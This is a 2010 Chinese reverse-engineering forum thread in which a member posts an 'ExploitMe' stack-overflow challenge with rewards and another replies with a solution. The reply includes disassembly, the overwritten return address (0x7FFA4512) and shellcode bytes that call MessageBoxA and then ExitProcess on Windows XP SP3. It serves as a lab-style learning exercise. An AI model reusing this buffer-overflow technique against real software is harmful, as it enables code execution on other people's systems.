搞定这个ExploitMe
本帖最后由 whypro 于 2010-5-23 14:22 编辑还有彩云,还有威望,还有飘云币。统统送出!
https://www.chinapyg.com/viewthread.php?tid=55440&extra=page%3D1 好多的奖励,大家冲啊,哈哈 好多的奖励 本帖最后由 anyone 于 2010-5-28 18:18 编辑
调了一下,基本理解。
给个处理返回的。在我的虚拟机XPSP3上正常。
00401090/> \55 push ebp
00401091|.8BEC mov ebp,esp
00401093 81EC 48040000 sub esp,448
00401099|.53 push ebx
0040109A|.56 push esi
0040109B|.57 push edi
0040109C 8DBD B8FBFFFF lea edi,dword ptr ss:
004010A2|.B9 12010000 mov ecx,112
004010A7|.B8 CCCCCCCC mov eax,CCCCCCCC
004010AC|.F3:AB rep stos dword ptr es:
004010AE|.C745 FC 00000>mov dword ptr ss:,0
004010B5|.68 B0804200 push stack_ov.004280B0 ; /rw+
004010BA|.68 A0804200 push stack_ov.004280A0 ; |password.txt
004010BF|.E8 6C080000 call stack_ov.00401930 ; \stack_ov.00401930
大体上是开1094个连续空间用来装Password.txe里的内容
0040101F CC int3
00401020/>55 push ebp
00401021|.8BEC mov ebp,esp
00401023|.83EC 4C sub esp,4C
00401026|.53 push ebx
00401027|.56 push esi
00401028|.57 push edi
00401029|.8D7D B4 lea edi,dword ptr ss:
0040102C|.B9 13000000 mov ecx,13
00401031|.B8 CCCCCCCC mov eax,CCCCCCCC
00401036|.F3:AB rep stos dword ptr es:
00401038|.68 1C804200 push stack_ov.0042801C ;1234567
0040103D|.8B45 08 mov eax,dword ptr ss:
00401040|.50 push eax
00401041|.E8 5A020000 call stack_ov.004012A0
00401046|.83C4 08 add esp,8
00401049|.8945 FC mov dword ptr ss:,eax
0040104C|.8B4D 08 mov ecx,dword ptr ss: ;(Initial CPU selection)
0040104F|.51 push ecx
开一个4C大小也就是76个连断空间其实我们只有8个就够了。1234567+NULL
004011B0 $57 push edi
004011B1 .8B7C24 08 mov edi,dword ptr ss:
004011B5 .EB 6A jmp short stack_ov.00401221
004011B7 8D db 8D
004011B8 A4 db A4
004011B9 24 db 24 ;CHAR '$'
004011BA 00 db 00
004011BB 00 db 00
004011BC 00 db 00
004011BD 00 db 00
004011BE 8BFF mov edi,edi
004011C0/$8B4C24 04 mov ecx,dword ptr ss:
004011C4|.57 push edi
004011C5|.F7C1 03000000 test ecx,3
004011CB|.74 0F je short stack_ov.004011DC
004011CD|>8A01 /mov al,byte ptr ds:
以上这断代码不全,总的就是做个交换数据。1906连断空间内的内容放到4C里。
结果就成这样了。
0012FB20 47595065
0012FB24 7FFA4512 //这是我们的返回地址。这是你构造好的。我就不改了。
0012FB28 6853DB33
0012FB2C 7070726F
0012FB30 79687768
0012FB34 53C48B6F
0012FB38 B8535050
0012FB3C 77D507EAuser32.MessageBoxA
0012FB40 CBE8D0FF
0012FB44 007C6ECF
0012FB48 CCCCCCCC
根据分析890abcdef内容是不有用处的,可以任意改。
大小是4C个空间就直接在后面加代码E8CBCF6E7C方便他退出,不出报错。
0012FB42 E8 CBCF6E7C call kernel32.ExitProcess 本帖最后由 whypro 于 2010-5-28 18:23 编辑
ls写的不错,兑现承诺给予pyb! 得钱了哟~/:001 呵呵 祝你玩的愉快! https://www.chinapyg.com/viewthread.php?tid=56813&extra=page%3D1
如何的说
页:
[1]